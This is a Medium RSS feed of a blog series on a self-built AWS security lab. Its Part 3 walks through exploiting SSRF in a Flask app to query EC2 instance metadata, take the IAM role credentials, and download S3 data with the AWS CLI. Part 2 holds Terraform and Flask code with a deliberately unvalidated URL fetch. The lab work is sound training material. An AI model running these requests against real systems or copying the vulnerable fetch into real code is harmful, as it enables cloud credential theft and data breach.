<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by c_K £lvin on Medium]]></title>
        <description><![CDATA[Stories by c_K £lvin on Medium]]></description>
        <link>https://medium.com/@kusuanlele8?source=rss-39c001f08475------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*BjDBstzc_ULObY_QPMMMUw@2x.jpeg</url>
            <title>Stories by c_K £lvin on Medium</title>
            <link>https://medium.com/@kusuanlele8?source=rss-39c001f08475------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 09:21:05 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kusuanlele8/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Part 3: Exploiting SSRF to Access AWS Metadata and IAM Credentials]]></title>
            <link>https://medium.com/@kusuanlele8/part-3-exploiting-ssrf-to-access-aws-metadata-and-iam-credentials-8dbc461c346e?source=rss-39c001f08475------2</link>
            <guid isPermaLink="false">https://medium.com/p/8dbc461c346e</guid>
            <category><![CDATA[cloud-computing]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[aws]]></category>
            <dc:creator><![CDATA[c_K £lvin]]></dc:creator>
            <pubDate>Wed, 22 Jul 2026 16:22:19 GMT</pubDate>
            <atom:updated>2026-07-22T16:22:19.901Z</atom:updated>
            <content:encoded><![CDATA[<h3>Overview</h3><p>With our vulnerable AWS infrastructure now deployed, it’s time to move from building to attacking. In Part 2, <a href="https://medium.com/meetcyber/part-2-building-with-terraform-on-aws-infrastructure-as-code-94da825851de?sharedUserId=kusuanlele8">https://medium.com/meetcyber/part-2-building-with-terraform-on-aws-infrastructure-as-code-94da825851de?sharedUserId=kusuanlele8</a> we provisioned our AWS environment using Terraform and deployed a deliberately vulnerable Flask application running on an EC2 instance. Because the application accepts user-supplied URLs without proper validation, it exposes a classic SSRF vulnerability.</p><p>In this write-up, we’ll exploit that weakness to retrieve AWS metadata, steal temporary IAM credentials, enumerate cloud resources, and access sensitive data stored in S3, demonstrating how a single web vulnerability can lead to a full cloud compromise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1uyzP-dwaFBuyWZ9Qaem5A.png" /></figure><h3>Recon</h3><p>As for any real engagement we will start with Recon against the target which is our vulnerable public facing webapp running on EC2 instance using its public IP as our target.</p><p><strong>Nmap Scan — Identifying open ports on the target</strong></p><ul><li>--open scan for all open ports on the target</li><li>-Pn :disable host discovery (pinging) and force Nmap to treat the target as online</li></ul><pre>nmap --open 98.88.85.0  -Pn<br>Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-25 15:50 +0100<br>Nmap scan report for ec2-98-88-85-0.compute-1.amazonaws.com (98.88.85.0)<br>Host is up (0.015s latency).<br>Not shown: 997 filtered tcp ports (no-response)<br>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit<br>PORT     STATE SERVICE<br>22/tcp   open  ssh<br>53/tcp   open  domain<br>5000/tcp open  upnp</pre><p>Result:</p><ul><li>we can see nmap identify the host which is ec2–98–88–85–0.compute-1.amazonaws.com this tell us this is an ec2 server and AWS enviroment</li><li>22 open which itself is dangerous to be publicly open</li><li>53 DNS</li><li>5000 running the Python Flask SSF web application (our target service)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*6wM_OlDu1HFVB2ZriVsiqw.png" /></figure><p><strong>Default Web Page</strong></p><p><strong>Car Production Status Checker</strong> application</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*NeFNvWeoIR8Btez_6ZxMNA.png" /></figure><p><strong>WhatWeb — Fingerprinting the Web Application</strong></p><p>whatweb fingerprints web technologies by identifying frameworks, web servers, languages, and other technologies running on a target. The -a3 flag performs a more aggressive fingerprinting scan for better detection</p><pre>┌──(kali㉿kali)-[~]<br>└─$ whatweb -a3 98.88.85.0:5000<br><br>http://98.88.85.0:5000 [200 OK] Country[UNITED STATES][US], HTTPServer[Werkzeug/2.2.3 Python/3.7.16], IP[98.88.85.0], Python[3.7.16], Werkzeug[2.2.3]</pre><p>Result: The scan identifies the application as running <strong>Werkzeug 2.2.3 on Python 3.7.16</strong>, confirming the Flask application we deployed on the EC2 instance.</p><p><strong>Reviewing the Page Source</strong></p><p>Viewing the page source reveals a form that sends user input to the /fetch endpoint through the url parameter.</p><pre>   &lt;h1&gt;Car Production Status Checker&lt;/h1&gt;<br>        &lt;form action=&quot;/fetch&quot; method=&quot;GET&quot;&gt;<br>            &lt;input name=&quot;url&quot; placeholder=&quot;Enter status service URL&quot;&gt;<br>            &lt;button type=&quot;submit&quot;&gt;Check Status&lt;/button&gt;<br>        &lt;/form&gt;</pre><blockquote>&lt;form action=”/fetch” method=”GET”&gt; : immediately this line look intresting and becomes our primary attack surface because the application accepts a user-supplied URL and fetches it on the server’s behalf, a common SSRF pattern.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*BnLtJtFsC5jmQYoukdBeCQ.png" /></figure><h3>Enumeration</h3><p><strong>Confirming the SSRF Vulnerability</strong></p><p>Before attempting to access AWS resources, it’s good practice to first verify that the application is actually making outbound requests on our behalf. Rather than immediately targeting the EC2 metadata service, we’ll use a URL that we control to confirm the behaviour.</p><pre>python3 -m http.server 8001</pre><p>Then I supplied my own URL to the application:</p><pre>http://192.168.2.128:8001/anything</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*RpQgdwxUWNkEoS8a7XhL2w.png" /></figure><p>Result: If the application is vulnerable, the Flask server should make a request back to my machine. Seeing that connection confirms the server is fetching user-supplied URLs, indicating a potential SSRF vulnerability.</p><p><strong>Intercepting the Request</strong></p><p>Using Burp Suite, we can observe the browser sending the following request:</p><pre>GET /fetch?url=http%3A%2F%2F192.168.2.128%3A8001%2Fanything HTTP/1.1<br>Host: 98.88.85.0:5000</pre><p>Analysis: The browser sends a <strong>GET</strong> request to the /fetch endpoint, passing the target URL through the url parameter. The Flask application then retrieves whatever URL is supplied and returns the response to the client. Because the input isn&#39;t validated, an attacker can instruct the server to request arbitrary resources eg Internal resources and in our case, we can attempt to extract the AWS Metadata</p><h3>Exploitation</h3><p><strong>Accessing the EC2 Metadata Service</strong></p><p>Instead of requesting our own server, we now instruct the application to request the AWS Instance Metadata Service.</p><pre>http://169.254.169.254/latest/meta-data/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vqsyLN8W0uHL1RHF1uZwlg.png" /></figure><p>Result: Because the request originates from the EC2 instance itself, the application can access internal metadata that would normally be unreachable from the internet, in this case we just successfully extracted the aws metadata.</p><p><strong>Enumerating the IAM Role — Using Curl</strong></p><p>One of the most valuable pieces of metadata is the attached IAM role.</p><pre>/latest/meta-data/iam/security-credentials/</pre><pre>curl &quot;http://98.88.85.0:5000/fetch?url=http://169.254.169.254/latest/meta-data//iam/security-credentials/<br><br>Lab-Appsec-Offensive-Role</pre><p>Result: This endpoint reveals the name of the IAM role “Lab-Appsec-Offensive-Role” attached to the EC2 instance, which is required before requesting its temporary credentials</p><p><strong>Retrieving Temporary AWS Credentials</strong></p><p>Requesting the IAM role returns temporary AWS credentials, including an Access Key ID, Secret Access Key, and Session Token. These credentials allow us to authenticate to AWS with the same permissions granted to the EC2 instance, effectively giving us the server’s cloud identity.</p><pre>curl &quot;http://98.88.85.0:5000/fetch?url=http://169.254.169.254/latest/meta-data//iam/security-credentials/Lab-Appsec-Offensive-Role&quot;<br><br>{<br>  &quot;Code&quot; : &quot;Success&quot;,<br>  &quot;LastUpdated&quot; : &quot;2026-06-25T15:25:55Z&quot;,<br>  &quot;Type&quot; : &quot;AWS-HMAC&quot;,<br>  &quot;AccessKeyId&quot; : &quot;&lt;REDACTED&gt;&quot;,<br>  &quot;SecretAccessKey&quot; : &quot;&lt;REDACTED&gt;&quot;,<br>  &quot;Token&quot; : &quot;&lt;REDACTED&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pky7Q47sR15YBhpokkNKog.png" /></figure><p><strong>Authenticating to the Target AWS Environment</strong></p><p>Using the stolen credentials, we configure the AWS CLI and begin interacting with the AWS environment as the compromised EC2 instance.</p><pre>aws configure --profile stolen <br>AWS Access Key ID [None]: &lt;REDACTED&gt;<br>AWS Secret Access Key [None]: &lt;REDACTED&gt;<br>AWS Session Token [****************nm/E]: <br>Default region name [None]: us-east-1<br>Default output format [None]: json<br><br># set the token to make sure it inputed<br>aws configure set aws_session_token &lt;TOKEN ID&gt;</pre><p>From this point onward, every action depends on the permissions assigned to the IAM role.</p><h3>Internal Foothold</h3><p><strong>Enumerating S3 Buckets</strong></p><p>Listing the available S3 buckets helps identify storage that the compromised role can access.</p><pre>┌──(kali㉿kali)-[~]<br>└─$ aws-appsec aws s3 ls --profile stolen    <br><br>2026-05-22 01:14:40 lab-config-backups-corplab2026<br>2026-05-22 01:14:41 lab-internal-data-corplab2026<br>2026-05-22 01:14:39 lab-public-assets-corplab2026</pre><p>Result: Finding multiple accessible buckets immediately expands the attack surface and provides opportunities to locate sensitive information.</p><p>Checking the lab-config-backups-corplab2026 Bucket for interesting files:</p><pre> # Listing the s3 bucket files <br>┌──(kali㉿kali)-[~]<br>└─$ aws-appsec aws s3 ls s3://lab-config-backups-corplab2026 --profile stolen  <br> <br>2026-05-22 01:16:39        480 db_backup.sql<br>2026-05-22 01:16:38        346 internal-config.json<br><br># viewing the db_backup.sql file  which looks intresting <br>┌──(kali㉿kali)-[~]<br>└─$ aws-appsec aws s3 ls s3://lab-config-backups-corplab2026/db_backup.sql --profile stolen <br>2026-05-22 01:16:39        480 db_backup.sql<br>➜  aws-appsec aws s3 get s3://lab-config-backups-corplab2026/db_backup.sql --profile stolen </pre><h3>Data Exfiltration</h3><p>Downloading the database backup reveals sensitive application data, including usernames, email addresses, password hashes, API keys, and other personally identifiable information (PII).</p><pre># Downloading the s3 bucket file<br>┌──(kali㉿kali)-[~]<br>└─$ aws s3 cp s3://lab-config-backups-corplab2026/db_backup.sql --profile stolen .<br><br><br>Completed 480 Bytes/480 Bytes (800 Bytes/s) with 1 file(s) remaindownload: s3://lab-config-backups-corplab2026/db_backup.sql to ./db_backup.sql</pre><p><strong>Impact</strong></p><p>This represents a critical data breach that could lead to account compromise, identity theft, regulatory penalties, and reputational damage</p><figure><img alt="Viewing the s3 file" src="https://cdn-images-1.medium.com/max/668/1*zQj12-NmAP_Z8ZgCcnHiWw.png" /></figure><p>Additional Sensitive Data Exposure:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*qI13ZVNPqUFRe483Ukz-vg.png" /></figure><pre> cat api_keys.txt <br># Internal API Keys - DO NOT SHARE<br># Last rotated: 2025-12-01<br><br>STRIPE_API_KEY=sk_live_fakestripekey1234567890abcdef<br>SENDGRID_API_KEY=SG.fakekey.abcdefghijklmnopqrstuvwxyz<br>INTERNAL_JWT_SECRET=fakejwtsecret_supersecurestring_donotshare<br>AWS_BACKUP_ACCESS_KEY=AKIAFAKEACCESSKEY12345<br>AWS_BACKUP_SECRET=fakeSecretKey+abcdefghijklmnopqrstuvwxyz</pre><h3>Summary</h3><p>The attack succeeded because several security controls were missing:</p><ul><li>The application accepted arbitrary URLs without validation.</li><li>IMDSv1 was enabled, allowing metadata access without a session token.</li><li>The EC2 IAM role had permissions beyond what the application required.</li><li>Sensitive data was accessible from the compromised role.</li></ul><p>This demonstrates how a single web application vulnerability can quickly escalate into a full cloud compromise.</p><p><strong>Monitoring Detection and Remediation:</strong></p><p>In the next part of this series, we’ll shift to the defender’s perspective and investigate the attack using AWS CloudTrail and Amazon Athena to identify the attacker’s actions. I am thinking of exploring how an AI-powered Agent can be used for a security analyst to help parse CloudTrail logs, correlate suspicious events, and accelerate cloud incident investigations.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8dbc461c346e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Part 2: Building with Terraform on AWS: Infrastructure as Code]]></title>
            <link>https://meetcyber.net/part-2-building-with-terraform-on-aws-infrastructure-as-code-94da825851de?source=rss-39c001f08475------2</link>
            <guid isPermaLink="false">https://medium.com/p/94da825851de</guid>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[aws-certification]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cloud-computing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[c_K £lvin]]></dc:creator>
            <pubDate>Wed, 01 Jul 2026 13:07:55 GMT</pubDate>
            <atom:updated>2026-07-01T13:07:55.748Z</atom:updated>
            <content:encoded><![CDATA[<h3>Terraform (Infrastructure as a Code)</h3><p><em>Rather than manually clicking through the AWS console, this lab uses Terraform to deploy the infrastructure as code making it reproducible, trackable, and easy to destroy and rebuild.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*949iKkhDY97XBN7ydK_w-g.png" /></figure><p><em>The entire lab is deployed with three commands</em></p><pre>terraform init<br>terraform plan<br>terraform apply</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*I0Weqzn3bfC3ZRUjAhBjQw.png" /></figure><p><em>The Terraform </em><em>main.tf does three things:</em></p><pre><br>terraform {<br>  required_providers {<br>    aws = {<br>      source  = &quot;hashicorp/aws&quot;<br>      version = &quot;~&gt; 5.0&quot;<br>    }<br>  }<br>}<br><br>provider &quot;aws&quot; {<br>  region = &quot;us-east-1&quot;<br>}<br><br># Reference your existing security group<br>data &quot;aws_security_group&quot; &quot;my_sg&quot; {<br>  id = &quot;sg-0094&lt;SNIP&gt;8e&quot;<br>}<br><br># Referencing existing IAM instance profile (existing Role)<br>data &quot;aws_iam_instance_profile&quot; &quot;lab_profile&quot; {<br>  name = &quot;Lab-Appsec-Offensive-Role&quot;<br>}<br><br># New EC2 instance for the SSRF lab<br>resource &quot;aws_instance&quot; &quot;ssrf_lab&quot; {<br>  ami                    = &quot;ami-0c02fb55956c7d316&quot;<br>  instance_type          = &quot;t3.micro&quot;<br>  key_name               = &quot;id_rsa2&quot;<br>  vpc_security_group_ids = [data.aws_security_group.my_sg.id]<br>  iam_instance_profile   = data.aws_iam_instance_profile.lab_profile.name<br><br>  user_data = &lt;&lt;-EOF<br>    #!/bin/bash<br>    yum update -y<br>    yum install -y python3 python3-pip<br>    pip3 install flask requests<br><br>    mkdir -p /ssrf-lab<br>    cat &gt; /ssrf-lab/app.py &lt;&lt; &#39;APPEOF&#39;<br>from flask import Flask, request<br>import requests<br><br>app = Flask(__name__)<br><br>@app.route(&#39;/&#39;)<br>def index():<br>    return &#39;&#39;&#39;<br>        &lt;h1&gt;Car Production Status Checker&lt;/h1&gt;<br>        &lt;form action=&quot;/fetch&quot; method=&quot;GET&quot;&gt;<br>            &lt;input name=&quot;url&quot; placeholder=&quot;Enter status service URL&quot;&gt;<br>            &lt;button type=&quot;submit&quot;&gt;Check Status&lt;/button&gt;<br>        &lt;/form&gt;<br>    &#39;&#39;&#39;<br><br>@app.route(&#39;/fetch&#39;)<br>def fetch():<br>    url = request.args.get(&#39;url&#39;)<br>    response = requests.get(url)<br>    return response.text<br><br>if __name__ == &#39;__main__&#39;:<br>    app.run(host=&#39;0.0.0.0&#39;, port=80)<br>APPEOF<br><br>    cd /ssrf-lab<br>    python3 app.py &gt; /var/log/ssrf-lab.log 2&gt;&amp;1 &amp;<br>  EOF<br><br>  tags = {<br>    Name        = &quot;ssrf-vulnerable-lab&quot;<br>    Environment = &quot;lab&quot;<br>    Purpose     = &quot;security-training&quot;<br>  }<br>}<br><br>output &quot;lab_public_ip&quot; {<br>  description = &quot;Navigate to this IP to access the lab&quot;<br>  value       = aws_instance.ssrf_lab.public_ip<br>}</pre><p>Explaining the Terraform Script:</p><ol><li><strong><em>References existing infrastructure: </em></strong><em>instead of creating new resources from scratch, it pulls my the existing security group and IAM instance profile using data blocks</em></li></ol><pre>data &quot;aws_security_group&quot; &quot;my_sg&quot; {<br>  id = &quot;sg-094&lt;&gt;46e&quot;<br>}<br><br>data &quot;aws_iam_instance_profile&quot; &quot;lab_profile&quot; {<br>  name = &quot;Lab-Appsec-Offensive-Role&quot;<br>}</pre><p><em>2. </em><strong><em>Deploys a new EC2 instance: </em></strong><em>with the overpermissive IAM role attached</em></p><pre>resource &quot;aws_instance&quot; &quot;ssrf_lab&quot; {<br>  ami                    = &quot;ami-0c0256c7d316&quot;<br>  instance_type          = &quot;t3.micro&quot;<br>  vpc_security_group_ids = [data.aws_security_group.my_sg.id]<br>  iam_instance_profile   = data.aws_iam_instance_profile.lab_profile.name<br>}</pre><p><em>3. </em><strong><em>Bootstraps the vulnerable Python Flask app: </em></strong><em>using a </em><em>user_data script that installs Python, Flask, and deploys </em><em>app.py automatically on boot that is vulnerable to SSRF</em></p><p>The user_data section contains a Bash script that runs automatically the first time the EC2 instance boots. Rather than connecting over SSH and configuring the server manually, the script performs the entire setup automatically by:</p><ul><li>Updating the operating system.</li><li>Installing Python 3 and pip.</li><li>Installing the Flask and Requests Python libraries.</li><li>Creating the /ssrf-lab project directory.</li><li>Writing the vulnerable app.py application onto the instance.</li><li>Starting the Flask application in the background and logging its output.</li></ul><p>Finally, Terraform outputs the EC2 instance’s public IP address after deployment. This allows us to immediately access the vulnerable Flask application without manually searching for the instance in the AWS Console.</p><pre>user_data = &lt;&lt;-EOF<br>    #!/bin/bash<br>    yum update -y<br>    yum install -y python3 python3-pip<br>    pip3 install flask requests<br><br>    mkdir -p /ssrf-lab<br>    cat &gt; /ssrf-lab/app.py &lt;&lt; &#39;APPEOF&#39;<br>from flask import Flask, request<br>import requests<br><br>app = Flask(__name__)<br><br>@app.route(&#39;/&#39;)<br>def index():<br>    return &#39;&#39;&#39;<br>        &lt;h1&gt;Car Production Status Checker&lt;/h1&gt;<br>        &lt;form action=&quot;/fetch&quot; method=&quot;GET&quot;&gt;<br>            &lt;input name=&quot;url&quot; placeholder=&quot;Enter status service URL&quot;&gt;<br>            &lt;button type=&quot;submit&quot;&gt;Check Status&lt;/button&gt;<br>        &lt;/form&gt;<br>    &#39;&#39;&#39;<br><br>@app.route(&#39;/fetch&#39;)<br>def fetch():<br>    url = request.args.get(&#39;url&#39;)<br>    response = requests.get(url)<br>    return response.text<br><br>if __name__ == &#39;__main__&#39;:<br>    app.run(host=&#39;0.0.0.0&#39;, port=80)<br>APPEOF<br><br>    cd /ssrf-lab<br>    python3 app.py &gt; /var/log/ssrf-lab.log 2&gt;&amp;1 &amp;<br>  EOF<br><br>  tags = {<br>    Name        = &quot;ssrf-vulnerable-lab&quot;<br>    Environment = &quot;lab&quot;<br>    Purpose     = &quot;security-training&quot;<br>  }<br>}<br><br>output &quot;lab_public_ip&quot; {<br>  description = &quot;Navigate to this IP to access the lab&quot;<br>  value       = aws_instance.ssrf_lab.public_ip<br>}</pre><h4>Deploying the terraform main.tf</h4><p>Create and save the main.tf file on the Linux EC2 instance, then run terraform init to initialize the project and download the required AWS provider</p><pre>terraform init </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8uaWwMfuCLqy5dv1MBhkqg.png" /></figure><p><strong>Review the deployment</strong> using terraform plan to preview the AWS resources Terraform will create before making any changes</p><pre>terraform plan</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*70Iu5069DOH27QONlAiPpw.png" /></figure><p><strong>Deploy the infrastructure</strong> by running terraform apply and wait a few minutes while Terraform provisions the EC2 instance and automatically configures the vulnerable Flask application.</p><pre>terraform apply</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eXQgTVve9yQpVrvax8WWMA.png" /></figure><p>Going back to the AWS console we can see our infastruture has been successfully deployed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1akvQxCz_sxzqci3hGYaQw.png" /></figure><h3>Accessing the Vulnerable Application</h3><p>Once Terraform has finished deploying the infrastructure, connect to the EC2 instance via SSH, navigate to the application directory, and start the Flask server:</p><pre>cd /ssrf-lab<br>python3 app.py</pre><p>Next, open your browser and navigate to the EC2 instance’s public IP address:</p><pre>http://&lt;EC2-Public-IP&gt;:5000/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*E4YOKN6RISjtCZLwqLvFRg.png" /></figure><p>If everything is configured correctly, you should see the <strong>Car Production Status Checker</strong> application, which we’ll use throughout the remainder of this lab.</p><blockquote><strong><em>Note:</em></strong><em> In the original Terraform configuration, the application was configured to listen on </em><strong><em>port 80</em></strong><em>. For this lab, I changed it to </em><strong><em>port 5000</em></strong><em> because port 80 was already in use on my EC2 instance. If you’re following along, use whichever port matches your Flask configuration.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=94da825851de" width="1" height="1" alt=""><hr><p><a href="https://meetcyber.net/part-2-building-with-terraform-on-aws-infrastructure-as-code-94da825851de">Part 2: Building with Terraform on AWS: Infrastructure as Code</a> was originally published in <a href="https://meetcyber.net/">MeetCyber</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Part 1: Building a Vulnerable AWS Application with Terraform and Python Flask: Understanding AWS…]]></title>
            <link>https://meetcyber.net/part-1-building-a-vulnerable-aws-application-with-terraform-and-python-flask-understanding-aws-dc95a4bfe9fa?source=rss-39c001f08475------2</link>
            <guid isPermaLink="false">https://medium.com/p/dc95a4bfe9fa</guid>
            <category><![CDATA[aws-ec2]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[cloud-computing]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[c_K £lvin]]></dc:creator>
            <pubDate>Sat, 20 Jun 2026 00:39:51 GMT</pubDate>
            <atom:updated>2026-06-20T00:39:51.959Z</atom:updated>
            <content:encoded><![CDATA[<h3>Part 1: Building a Vulnerable AWS Application with Terraform and Python Flask: Understanding AWS Cloud Environments Through Offensive Security</h3><h3>Introduction</h3><p>When I first started learning AWS, I spent countless hours studying individual services such as Amazon EC2, IAM, Amazon S3, and VPCs. Although I understood the purpose of each service independently, I often found myself asking a much bigger question:</p><blockquote>How do all of these services work together in a real environment?</blockquote><p>Understanding each AWS service individually is only one part of cloud security. Modern applications are built from multiple interconnected services, where infrastructure, application code, identity management, networking, and monitoring all influence the overall security posture</p><p>Throughout this project I built a realistic AWS environment using Terraform, deployed a vulnerable Python Flask application onto an EC2 instance, exploited a Server-Side Request Forgery (SSRF) vulnerability to obtain temporary AWS credentials, accessed Amazon S3 using those credentials, investigated the attack using CloudTrail, and finally explored multiple defensive measures that would prevent the compromise.</p><h3>Why Build It Yourself?</h3><p>I was forced to understand:</p><ul><li>How Terraform communicates with AWS</li><li>Why IAM roles are attached to EC2 instances</li><li>How Security Groups control inbound traffic</li><li>Why applications listen on specific interfaces and ports</li><li>How Infrastructure as Code automates deployment</li><li>How cloud services interact behind the scenes</li></ul><h3>Lab Architecture</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tpe9rWIwNg_unTquR8X4ig.png" /></figure><h3>Why Terraform?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*vSYpr2gSHrQLyOC-UO9NnA.png" /></figure><p>This was probably the biggest shift I had during the project. Before using Terraform, I assumed it was just another language to memorise a syntax problem I’d need to grind through. After deploying this environment, I realised I had the wrong mental model entirely. Terraform isn’t difficult because of its syntax. It becomes difficult only when you don’t yet understand the infrastructure it’s describing.</p><p>Once I had a working grasp of EC2 instances, Security Groups, IAM roles, networking, and user data scripts, the Terraform configuration became surprisingly readable. Rather than writing procedural code that tells AWS <em>how</em> to create resources step by step, you describe what the final environment should look like. Terraform handles the rest communicating with AWS APIs to make reality match your description.</p><h3>Why Infrastructure as Code Matters</h3><p>Imagine manually deploying the same application five different times.</p><p>Each deployment would require remembering:</p><ul><li>Which AMI to use</li><li>Which Security Group to attach</li><li>Which IAM Role to assign</li><li>Which instance type to select</li><li>Which ports to open</li><li>Which startup commands to execute</li></ul><p>Now imagine repeating that process six months later. Chances are the environments won’t be identical. Infrastructure as Code solves that problem. Instead of documenting infrastructure in a wiki or relying on memory, the infrastructure itself becomes version-controlled source code. If the environment is ever deleted, rebuilding it becomes as simple as running:</p><h3>Coming Next</h3><p>In the next section, we’ll build the project from the ground up by examining the Terraform project structure and breaking down main.tf block by block. Rather than simply explaining the syntax, we&#39;ll explore how each resource maps directly to AWS services and why every configuration choice matters from both an engineering and security perspective.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dc95a4bfe9fa" width="1" height="1" alt=""><hr><p><a href="https://meetcyber.net/part-1-building-a-vulnerable-aws-application-with-terraform-and-python-flask-understanding-aws-dc95a4bfe9fa">Part 1: Building a Vulnerable AWS Application with Terraform and Python Flask: Understanding AWS…</a> was originally published in <a href="https://meetcyber.net/">MeetCyber</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cloud AppSec Lab — Building, Breaking, and Understanding the Gap Between Web Apps and AWS Cloud…]]></title>
            <link>https://meetcyber.net/cloud-appsec-lab-building-breaking-and-understanding-the-gap-between-web-apps-and-aws-17581ca900df?source=rss-39c001f08475------2</link>
            <guid isPermaLink="false">https://medium.com/p/17581ca900df</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[c_K £lvin]]></dc:creator>
            <pubDate>Fri, 22 May 2026 12:58:27 GMT</pubDate>
            <atom:updated>2026-05-22T13:05:39.351Z</atom:updated>
            <content:encoded><![CDATA[<h3>Cloud AppSec Lab — Building, Breaking, and Understanding the Gap Between Web Apps and AWS Cloud Infrastructure</h3><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*lCB0pUCzgnht2zYbCJ5SYA.png" /></figure><h3>Why I Built This</h3><p>While working through PortSwigger Web Security Academy, I came across a real bug bounty report that genuinely stuck with me. The researcher had chained together a Server-Side Request Forgery (SSRF) vulnerability and file inclusion to reach internal services that were never supposed to be exposed externally.</p><p>That report made something click for me.</p><p>I already had some AWS knowledge from studying for the SAA certification, and I had been learning AppSec through PortSwigger labs and API testing. But I still thought about them as separate areas. Cloud was one thing. Web security was another. I built this project because I wanted to stop treating them separately and actually understand how they connect in a realistic environment.</p><p><em>If a vulnerable web application is running inside AWS, how far can that vulnerability actually reach into the infrastructure behind it?</em></p><h3>What I Built</h3><p>This lab is a small cloud-hosted AppSec environment running on AWS that I built specifically for learning and research. <a href="https://github.com/keusuanl/cloud-appsec-lab">https://github.com/keusuanl/cloud-appsec-lab</a></p><p>It is not a pre-built CTF or a guided training lab. Everything here was deployed, configured, broken, and tested manually so I could understand how the pieces fit together.</p><p>The AWS Cloud environment currently runs two deliberately vulnerable applications DVWA(Damn Vulnerable Web Application) &amp; VAmPI (Vulnerable API) on a single EC2 instance. The EC2 instance with an overly permissive IAM role, Multiple S3 buckets with different permission levels and learning this things along the way.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bn8rRsTvqdatedtmwzvCnQ.png" /><figcaption>cloud-appsec repo on github</figcaption></figure><p><em>I chose them because the same patterns appear repeatedly in real-world incidents, breach reports, and bug bounty findings. Misconfigured IAM permissions, exposed metadata services, and weak S3 policies continue to show up because they are easy to overlook and difficult to fully understand without hands-on experience.</em></p><h3>DVWA (Damn Vulnerable Web Application)</h3><p>DVWA acts as the entry point for server-side web vulnerabilities such as:</p><ul><li>SSRF</li><li>File Inclusion</li><li>Command Injection</li><li>Other common web-layer issues</li></ul><p>I mainly use it to practice vulnerabilities that can bridge into the underlying cloud, AWS infrastructure.</p><h3>VAmPI (Vulnerable API)</h3><p>VAmPI is the second application running in the environment and the one I plan to spend the most time on moving forward.</p><p>It gives me a place to practice API-focused vulnerabilities like:</p><ul><li>Broken Object Level Authorization (BOLA)</li><li>Broken Function Level Authorization (BFLA)</li><li>Authentication weaknesses</li><li>Business logic flaws</li><li>Insecure API design patterns</li></ul><p>I wanted something that looked closer to how modern applications actually work instead of only testing traditional web vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lvRxbnirWtI_GdJgEKtJ7g.png" /><figcaption>Deploying VAmPI setup</figcaption></figure><h3>The AWS Side of the Lab</h3><p>Behind the applications sits a deliberately vulnerable AWS setup designed to simulate common cloud misconfigurations.</p><p>The environment includes:</p><ul><li>An EC2 instance with an overly permissive IAM role</li><li>Multiple S3 buckets with different permission levels</li><li>Access to the EC2 Instance Metadata Service (IMDS)</li></ul><p>None of these were added randomly.</p><p><em>I chose them because the same patterns appear repeatedly in real-world incidents, breach reports, and bug bounty findings. Misconfigured IAM permissions, exposed metadata services, and weak S3 policies continue to show up because they are easy to overlook and difficult to fully understand without hands-on experience.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*timl7LZIJHNHC3y0VNKjHg.png" /><figcaption>Lauching EC2 